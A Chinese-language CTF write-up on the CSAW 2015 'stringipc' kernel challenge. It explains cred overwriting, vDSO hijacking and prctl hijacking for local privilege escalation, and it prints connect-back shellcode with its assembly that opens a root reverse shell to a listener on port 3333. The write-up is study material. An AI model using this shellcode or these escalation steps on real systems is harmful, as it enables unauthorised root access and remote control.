參考:https://xz.aliyun.com/t/3204
題目:CSAW-2015-CTF的stringipc
環(huán)境下載:https://github.com/bsauce/CTF/tree/master/stringipc
目的:學(xué)習(xí)三種從內(nèi)存任意讀寫到權(quán)限提升的利用方法。
環(huán)境搭建:
內(nèi)核版本—linux-4.4.184 (gcc-4.7不行,得用gcc-5)
busybox版本—1.31.0
stringipc源碼
源碼及busybox編譯
題目分析:已經(jīng)在上一篇文章中分析過,見sold_core分析。
1. 修改cred結(jié)構(gòu)提升權(quán)限
(1)cred結(jié)構(gòu)體
每個(gè)線程在內(nèi)核中都對(duì)應(yīng)一個(gè)線程棧、一個(gè)線程結(jié)構(gòu)塊thread_info去調(diào)度,結(jié)構(gòu)體同時(shí)也包含了線程的一系列信息。
thread_info結(jié)構(gòu)體存放位于線程棧的最低地址,對(duì)應(yīng)的結(jié)構(gòu)體定義(\arch\x86\include\asm\thread_info.h 55):
struct thread_info {
struct task_struct *task; /* main task structure */ <--------------------重要
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
thread_info中最重要的信息是task_struct結(jié)構(gòu)體,定義在(\include\linux\sched.h 1390)。
//裁剪過后
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
... ...
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
/* file system info */
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
... ...
};
其中,cred結(jié)構(gòu)體(\include\linux\cred.h 118)就表示該線程的權(quán)限。只要將結(jié)構(gòu)體的uid~fsgid全部覆寫為0即可提權(quán)該線程(root uid為0)。前28字節(jié)?。。?!
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
這個(gè)結(jié)構(gòu)體在線程初始化由prepare_creds函數(shù)創(chuàng)建,可以看到創(chuàng)建cred的方法是kmem_cache_alloc。
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
#ifdef CONFIG_KEYS
key_get(new->session_keyring);
key_get(new->process_keyring);
key_get(new->thread_keyring);
key_get(new->request_key_auth);
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;
validate_creds(new);
return new;
error:
abort_creds(new);
return NULL;
}
EXPORT_SYMBOL(prepare_creds);
(2)漏洞利用
思路:利用任意讀找到cred結(jié)構(gòu)體,再利用任意寫,將用于表示權(quán)限的數(shù)據(jù)位寫0,即可提權(quán)。
搜索cred結(jié)構(gòu)體:task_struct里有個(gè)char comm[TASK_COMM_LEN];結(jié)構(gòu),這個(gè)結(jié)構(gòu)可通過prctl函數(shù)中的PR_SET_NAME功能,設(shè)置為一個(gè)小于16字節(jié)的字符串。
感慨:task_struct這么大,居然能找到這個(gè)結(jié)構(gòu),還能找到prctl能修改該字符串,tql。
PR_SET_NAME (since Linux 2.6.9)
Set the name of the calling thread, using the value in the
location pointed to by (char *) arg2. The name can be up to
16 bytes long, including the terminating null byte. (If the
length of the string, including the terminating null byte,
exceeds 16 bytes, the string is silently truncated.) This is
the same attribute that can be set via pthread_setname_np(3)
and retrieved using pthread_getname_np(3). The attribute is
likewise accessible via /proc/self/task/[tid]/comm, where tid
is the name of the calling thread.
設(shè)置調(diào)用線程的name,name由arg2指定,長(zhǎng)度最多16字節(jié),包含終止符。也可以使用pthread_setname_np(3)設(shè)置該name,用pthread_getname_np(3)獲得name。
方法:設(shè)定該值作為標(biāo)記,利用任意讀找到該字符串,即可找到task_structure,進(jìn)而找到cred結(jié)構(gòu)體,再利用任意寫提權(quán)。
確定爆破范圍:task_structure是通過調(diào)用kmem_cache_alloc_node()分配的,所以kmem_cache_alloc_node應(yīng)該存在內(nèi)核的動(dòng)態(tài)分配區(qū)域。(\kernel\fork.c 140)。kernel內(nèi)存映射
static inline struct task_struct *alloc_task_struct_node(int node)
{
return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}
根據(jù)內(nèi)存映射圖,爆破范圍應(yīng)該在0xffff880000000000~0xffffc80000000000。
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
坑點(diǎn):本題寫函數(shù)是strncpy_from_user,遇到0就截?cái)嗔?,所以cred寫0時(shí)需要一字節(jié)一字節(jié)的寫。
1.unsigned long copy_from_user ( void * to,
const void __user * from,
unsigned long n);
copy_from_user — Copy a block of data from user space.
2.long strncpy_from_user ( char * dst,
const char __user * src,
long count);
strncpy_from_user — Copy a NUL terminated string from userspace.
(3)EXP
exp見test_cred.c。

2. 劫持VDSO
這種方法是內(nèi)核通過映射方法與用戶態(tài)共享一塊物理內(nèi)存,從而加快執(zhí)行效率,也叫影子內(nèi)存。當(dāng)在內(nèi)核態(tài)修改內(nèi)存時(shí),用戶態(tài)所訪問到的數(shù)據(jù)同樣會(huì)改變,這樣的數(shù)據(jù)區(qū)在用戶態(tài)有兩塊,vdso和vsyscall。
gdb-peda$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 561868 /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 561868 /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 561868 /bin/cat
01cff000-01d20000 rw-p 00000000 00:00 0 [heap]
7fe259072000-7fe2594fc000 r--p 00000000 08:01 2491405 /usr/lib/locale/locale-archive
7fe2594fc000-7fe2596bc000 r-xp 00000000 08:01 267250 /lib/x86_64-linux-gnu/libc-2.23.so
7fe2596bc000-7fe2598bc000 ---p 001c0000 08:01 267250 /lib/x86_64-linux-gnu/libc-2.23.so
7fe2598bc000-7fe2598c0000 r--p 001c0000 08:01 267250 /lib/x86_64-linux-gnu/libc-2.23.so
7fe2598c0000-7fe2598c2000 rw-p 001c4000 08:01 267250 /lib/x86_64-linux-gnu/libc-2.23.so
7fe2598c2000-7fe2598c6000 rw-p 00000000 00:00 0
7fe2598c6000-7fe2598ec000 r-xp 00000000 08:01 267232 /lib/x86_64-linux-gnu/ld-2.23.so
7fe259aac000-7fe259ad1000 rw-p 00000000 00:00 0
7fe259aeb000-7fe259aec000 r--p 00025000 08:01 267232 /lib/x86_64-linux-gnu/ld-2.23.so
7fe259aec000-7fe259aed000 rw-p 00026000 08:01 267232 /lib/x86_64-linux-gnu/ld-2.23.so
7fe259aed000-7fe259aee000 rw-p 00000000 00:00 0
7fff936ad000-7fff936ce000 rw-p 00000000 00:00 0 [stack]
7fff937d5000-7fff937d7000 r--p 00000000 00:00 0 [vvar]
7fff937d7000-7fff937d9000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
(1)VDSO介紹
vsyscall和VDSO都是為了避免傳統(tǒng)系統(tǒng)調(diào)用模式INT 0x80/SYSCALL造成的內(nèi)核空間和用戶空間的上下文切換。vsyscall只允許4個(gè)系統(tǒng)調(diào)用,且在每個(gè)進(jìn)程中靜態(tài)分配了相同的地址;VDSO是動(dòng)態(tài)分配的,地址隨機(jī),可提供超過4個(gè)系統(tǒng)調(diào)用,VDSO是glibc庫提供的功能。
VDSO—Virtual Dynamic Shared Object。本質(zhì)就是映射到內(nèi)存中的.so文件,對(duì)應(yīng)的程序可以當(dāng)普通的.so來使用其中的函數(shù)。VDSO所在的頁,在內(nèi)核態(tài)是可讀、可寫的,在用戶態(tài)是可讀、可執(zhí)行的。
VDSO在每個(gè)程序啟動(dòng)的加載過程如下:
#0 remap_pfn_range (vma=0xffff880000bba780, addr=140731259371520, pfn=8054, size=4096, prot=...) at mm/memory.c:1737
#1 0xffffffff810041ce in map_vdso (image=0xffffffff81a012c0 <vdso_image_64>, calculate_addr=<optimized out>) at arch/x86/entry/vdso/vma.c:151
#2 0xffffffff81004267 in arch_setup_additional_pages (bprm=<optimized out>, uses_interp=<optimized out>) at arch/x86/entry/vdso/vma.c:209
#3 0xffffffff81268b74 in load_elf_binary (bprm=0xffff88000f86cf00) at fs/binfmt_elf.c:1080
#4 0xffffffff812136de in search_binary_handler (bprm=0xffff88000f86cf00) at fs/exec.c:1469
在map_vdso中首先查找到一塊用戶態(tài)地址,將該塊地址設(shè)置為VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,利用remap_pfn_range將內(nèi)核頁映射過去。
dump vdso代碼:
//dump_vdos.c
// 獲取gettimeofday 字符串的偏移,便于爆破;dump vdso還是需要在程序中爆破VDSO地址,然后gdb中斷下,$dump memory即可(VDSO地址是從ffffffff開頭的)。
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>
int main(){
int test;
size_t result=0;
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
printf("[+]VDSO : %p\n",sysinfo_ehdr);
printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
scanf("Wait! %d", test);
/*
gdb break point at 0x400A36
and then dump memory
why only dump 0x1000 ???
*/
if (sysinfo_ehdr!=0){
for (int i=0;i<0x2000;i+=1){
printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
}
}
}
(2)利用思路
(1) 獲取vdso的映射地址(爆破),vdso的范圍在0xffffffff80000000~0xffffffffffffefff。
(2)通過劫持task_prctl,將其修改成為set_memory_rw
(3)然后傳入VDSO的地址,將VDSO修改成為可寫的屬性。
(4)用shellcode覆蓋部分vDSO(shellcode只為root進(jìn)程創(chuàng)建反彈shell,可以通過調(diào)用 0x66—sys_getuid系統(tǒng)調(diào)用并將其與0進(jìn)行比較;如果沒有root權(quán)限,我們繼續(xù)調(diào)用0x60—sys_gettimeofday系統(tǒng)調(diào)用。同樣在root進(jìn)程當(dāng)中,我們不想造成更多的問題,我們將通過0x39系統(tǒng)調(diào)用 fork一個(gè)子進(jìn)程,父進(jìn)程繼續(xù)執(zhí)行sys_gettimeofday,而由子進(jìn)程來執(zhí)行反彈shell。)
(5)調(diào)用gettimeofday函數(shù)或通過prtcl的系統(tǒng)調(diào)用,讓內(nèi)核調(diào)用shellcode提權(quán)。
所用shellcode可見https://gist.github.com/itsZN/1ab36391d1849f15b785(它將連接到127.0.0.1:3333并執(zhí)行”/bin/sh”),用"nc -l -p 3333 -v"鏈接即可;shellcode寫到gettimeofday附近,通過dump vDSO確定,本題是0xca0。
shellcode如下:
https://gist.github.com/itsZN/1ab36391d1849f15b785
"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";
nop
push rbx
xor rax,rax
mov al, 0x66
syscall #check uid
xor rbx,rbx
cmp rbx,rax
jne emulate
xor rax,rax
mov al,0x39
syscall #fork
xor rbx,rbx
cmp rax,rbx
je connectback
emulate:
pop rbx
xor rax,rax
mov al,0x60
syscall
retq
connectback:
xor rdx,rdx
pushq 0x1
pop rsi
pushq 0x2
pop rdi
pushq 0x29
pop rax
syscall #socket
xchg rdi,rax
push rax
mov rcx, 0xfeffff80faf2fffd
not rcx
push rcx
mov rsi,rsp
pushq 0x10
pop rdx
pushq 0x2a
pop rax
syscall #connect
xor rbx,rbx
cmp rax,rbx
je sh
xor rax,rax
mov al,0xe7
syscall #exit
sh:
nop
pushq 0x3
pop rsi
duploop:
pushq 0x21
pop rax
dec rsi
syscall #dup
jne duploop
mov rbx,0xff978cd091969dd0
not rbx
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
xor rdx,rdx
mov al,0x3b
syscall #execve
xor rax,rax
mov al,0xe7
syscall
(3)Exploit
《Bypassing SMEP Using vDSO Overwrites》一文中提到的利用crontab進(jìn)程會(huì)執(zhí)行g(shù)ettimeofday,本文沒實(shí)現(xiàn);當(dāng)時(shí)比賽部署的方法是用了digitalocean-api而不是QEMU;本文以init文件中運(yùn)行一個(gè)循環(huán)執(zhí)行g(shù)ettimeofday的程序,來模擬crontab。
//sudo_me.c 一定要?jiǎng)討B(tài)編譯,不然不會(huì)調(diào)用gettimeofday函數(shù),還要在_install根目錄下創(chuàng)建lib64文件,文件里放需要用到的庫(ld-linux-x86-64.so.2 和 libc.so.6)。
#include <stdio.h>
int main(){
while(1){
puts("111");
sleep(1);
gettimeofday();
}
}
exploit見test_VDSO.c程序。

3. HijackPrctl
強(qiáng)網(wǎng)杯的solid_core題目,限制了內(nèi)存寫的范圍必須大于0xffffffff80000000,不能篡改cred了;用最新的系統(tǒng)編譯,不能寫VDSO了。預(yù)期解是HijackPrctl方法。
(1)原理分析
最初原理可見New Reliable Android Kernel Root Exploitation Techniques。
prctl的原理已在繞過內(nèi)核SMEP姿勢(shì)總結(jié)與實(shí)踐中分析過,就不再贅述。
由于prctl第一個(gè)參數(shù)是int類型,在64位系統(tǒng)中被截?cái)?,所以不能正確傳參。
call_usermodehelper(\kernel\kmod.c 603),這個(gè)函數(shù)可以在內(nèi)核中直接新建和運(yùn)行用戶空間程序,并且該程序具有root權(quán)限,因此只要將參數(shù)傳遞正確就可以執(zhí)行任意命令(注意命令中的參數(shù)要用全路徑,不能用相對(duì)路徑)。但其中提到在安卓利用時(shí)需要關(guān)閉SEAndroid。
/**
* call_usermodehelper() - prepare and start a usermode application
* @path: path to usermode executable
* @argv: arg vector for process
* @envp: environment for process
* @wait: wait for the application to finish and return status.
* when UMH_NO_WAIT don't wait at all, but you get no useful error back
* when the program couldn't be exec'ed. This makes it safe to call
* from interrupt context.
*
* This function is the equivalent to use call_usermodehelper_setup() and
* call_usermodehelper_exec().
*/
int call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
看看call_usermodehelper()被哪些函數(shù)調(diào)用過,內(nèi)核源碼搜索結(jié)果中有很多調(diào)用。
drivers/block/drbd/drbd_nl.c
line 352 #drbd_khelper() -> call_usermodehelper(usermode_helper, argv, envp, UMH_WAIT_PROC); char usermode_helper[80] = "/sbin/drbdadm";
line 392
drivers/macintosh/windfarm_core.c, line 84 #函數(shù)中的static變量
drivers/net/hamradio/baycom_epp.c, line 323 #eppconfig() -> call_usermodehelper(eppconfig_path, argv, envp, UMH_WAIT_PROC); static char eppconfig_path[256] = "/usr/sbin/eppfpga";
drivers/net/hyperv/netvsc_drv.c, line 992 #限制太死
drivers/pnp/pnpbios/core.c, line 142 #限制太死
drivers/staging/lustre/lustre/libcfs/linux/linux-debug.c
line 88 # libcfs_run_debug_log_upcall() -> argv[0] = lnet_debug_log_upcall; call_usermodehelper(argv[0], argv, envp, 1); char lnet_debug_log_upcall[1024] = "/usr/lib/lustre/lnet_debug_log_upcall";
line 114 # libcfs_run_upcall() -> argv[0] = lnet_upcall; call_usermodehelper(argv[0], argv, envp, 1); char lnet_debug_log_upcall[1024] = "/usr/lib/lustre/lnet_debug_log_upcall";
drivers/staging/lustre/lustre/obdclass/obd_config.c, line 757 #限制太死
drivers/staging/rtl8192e/rtl8192e/rtl_dm.c
line 286 #限制太死
line 1868 #限制太死
drivers/video/fbdev/uvesafb.c, line 121 #uvesafb_helper_start() -> call_usermodehelper(v86d_path, argv, envp, UMH_WAIT_PROC); static char v86d_path[PATH_MAX] = "/sbin/v86d";
arch/x86/kernel/cpu/mcheck/mce.c, line 1347 # mce_do_trigger() -> call_usermodehelper(mce_helper, mce_helper_argv, NULL, UMH_NO_WAIT); static char mce_helper[128];
fs/nfs/cache_lib.c, line 51 #nfs_cache_upcall() -> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); char *argv[] = {nfs_cache_getent_prog, static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] ="/sbin/nfs_cache_getent";
fs/nfs/objlayout/objlayout.c, line 623 #__objlayout_upcall() -> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC) argv[0] = (char *)osd_login_prog; static char osd_login_prog[OSD_LOGIN_UPCALL_PATHLEN] = "/sbin/osd_login";
fs/nfsd/nfs4layouts.c, line 605 #argv[0]限制太死
fs/nfsd/nfs4recover.c, line 1217 #限制太死
fs/ocfs2/stackglue.c, line 448 # ocfs2_leave_group() -> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC); static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
include/linux/kmod.h, line 70 #as a prototype
kernel/cgroup.c, line 5784 #限制太死
kernel/kmod.c
line 616 #as a function
line 628 #as a variable
kernel/reboot.c, line 403 #__orderly_reboot() 或 __orderly_poweroff() -> run_cmd(reboot_cmd) static const char reboot_cmd[] = "/sbin/reboot"; -> call_usermodehelper()
net/bridge/br_stp_if.c 146 #—限制太死
line 146
line 185
security/tomoyo/load_policy.c, line 105 #—限制太死
很多函數(shù)的參數(shù)都限制太死,第一個(gè)參數(shù)直接來自局部變量,無法篡改。只有第一個(gè)參數(shù)來自全局變量的才符合條件,在/proc/kallsyms中能查到地址的就是__orderly_reboot()、__orderly_poweroff 和 mce_do_trigger()。
(1-1)mce_do_trigger()
兩個(gè)參數(shù)rdi、rsi都是data段上的地址,可通過任意寫將要執(zhí)行的命令寫在這個(gè)地址上,從而利于call_usermodehelper執(zhí)行。但改的東西較多。
// /arch/x86/kernel/cpu/mcheck/mce.c 1345
static void mce_do_trigger(struct work_struct *work)
{
call_usermodehelper(mce_helper, mce_helper_argv, NULL, UMH_NO_WAIT);
}
static char mce_helper[128];
static char *mce_helper_argv[2] = { mce_helper, NULL };
gdb-peda$ x /10iw mce_do_trigger
0xffffffff81043860 <mce_do_trigger>: data16 data16 data16 xchg ax,ax
0xffffffff81043865 <mce_do_trigger+5>: push rbp
0xffffffff81043866 <mce_do_trigger+6>: xor ecx,ecx
0xffffffff81043868 <mce_do_trigger+8>: xor edx,edx
0xffffffff8104386a <mce_do_trigger+10>: mov rsi,0xffffffff81e2a500
0xffffffff81043871 <mce_do_trigger+17>: mov rdi,0xffffffff820d3500
0xffffffff81043878 <mce_do_trigger+24>: mov rbp,rsp
0xffffffff8104387b <mce_do_trigger+27>:
call 0xffffffff8109aaf0 <call_usermodehelper>
0xffffffff81043880 <mce_do_trigger+32>: pop rbp
0xffffffff81043881 <mce_do_trigger+33>: ret
gdb-peda$ x /6gx 0xffffffff820d3500
0xffffffff820d3500 <mce_helper>: 0x0000000000000000 0x0000000000000000
0xffffffff820d3510 <mce_helper+16>: 0x0000000000000000 0x0000000000000000
0xffffffff820d3520 <mce_helper+32>: 0x0000000000000000 0x0000000000000000
經(jīng)過實(shí)際測(cè)試,0xffffffff820d3500處居然無法修改,報(bào)錯(cuò)如下,可能是頁面不可寫導(dǎo)致:
[ 9.838040] BUG: unable to handle kernel paging request at ffffffff810d3500
[ 9.840118] IP: [<ffffffff8141c47a>] strncpy_from_user+0x5a/0x110
[ 9.841133] PGD 1e0f067 PUD 1e10063 PMD 10001e1
[ 9.841133] Oops: 0003 [#1] SMP
[ 9.841133] Modules linked in: StringIPC(OE)
[ 9.841133] CPU: 0 PID: 100 Comm: test_hijackprct Tainted: G OE 4.4.184 #1
[ 9.841133] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 9.841133] task: ffff88000fa772c0 ti: ffff88000fac8000 task.ti: ffff88000fac8000
[ 9.841133] RIP: 0010:[<ffffffff8141c47a>] [<ffffffff8141c47a>] strncpy_from_user+0x5a/0x110
[ 9.841133] RSP: 0018:ffff88000facbe38 EFLAGS: 00000246
[ 9.841133] RAX: 0000000000000000 RBX: fefefefefefefeff RCX: 657372657665722f
[ 9.841133] RDX: 000000000000000f RSI: 0000000000994880 RDI: ffffffff810d3500
[ 9.841133] RBP: ffff88000facbe40 R08: 000000000000000f R09: 647271647564712e
[ 9.841133] R10: 8080808080808080 R11: 0000000000000000 R12: ffff88000fabe580
[ 9.841133] R13: ffff88000fabe588 R14: 0000000077617369 R15: 00007fff6b0f5850
[ 9.841133] FS: 0000000000993880(0063) GS:ffff88000ea00000(0000) knlGS:0000000000000000
[ 9.841133] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 9.841133] CR2: ffffffff810d3500 CR3: 000000000f65b000 CR4: 00000000003006f0
[ 9.841133] Stack:
[ 9.841133] 000000000000000f ffff88000facbe98 ffffffffc00005ef 0000000100000000
[ 9.841133] 0000000000000001 0000000000994880 000000000000000f 8c28793e40e08af3
[ 9.841133] ffff88000fa4d9f8 00007fff6b0f5850 ffff88000faa2e00 0000000077617369
[ 9.841133] Call Trace:
[ 9.841133] [<ffffffffc00005ef>] csaw_ioctl+0x2cf/0x37e [StringIPC]
[ 9.841133] [<ffffffff8122b9e4>] do_vfs_ioctl+0x2a4/0x4a0
[ 9.841133] [<ffffffff812182e9>] ? vfs_write+0x149/0x1a0
[ 9.841133] [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
[ 9.841133] [<ffffffff8183b1e5>] entry_SYSCALL_64_fastpath+0x22/0x99
[ 9.841133] Code: 47 c2 31 c0 49 83 f8 07 0f 86 bd 00 00 00 45 31 db 48 bb ff fe fe fe fe fe fe fe 49 ba 80 80 80 80 80 80 80 80 eb 21 4c 8d 0c 19 <48> 89 0c 07 48 f7 d1 4c 21 c9 4c 21 d1 75 59 49 83 e8 08 48 83
[ 9.841133] RIP [<ffffffff8141c47a>] strncpy_from_user+0x5a/0x110
[ 9.841133] RSP <ffff88000facbe38>
[ 9.841133] CR2: ffffffff810d3500
[ 9.841133] ---[ end trace 595f0573344f86c7 ]---
Killed
(1-2)run_cmd()
利用argv_split自動(dòng)切割參數(shù),但cmd存在參數(shù)截?cái)鄦栴},run_cmd()被reboot_work_func()和poweroff_work_func()函數(shù)調(diào)用,命令reboot_cmd是全局變量。
static—靜態(tài)變量,所有的全局變量都是靜態(tài)變量,而局部變量只有定義時(shí)加上類型修飾符static,才為局部靜態(tài)變量。靜態(tài)變量并不是說其就不能改變值,不能改變值的量叫常量。它不會(huì)隨著函數(shù)的調(diào)用和退出而發(fā)生變化。即上次調(diào)用函數(shù)的時(shí)候,如果我們給靜態(tài)變量賦予某個(gè)值的話,下次函數(shù)調(diào)用時(shí),這個(gè)值保持不變。
static final / const—不可修改。
由于reboot_cmd是const變量,不可修改,所以不能利用reboot_work_func()。
// /kernel/reboot.c 389
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}
return ret;
}
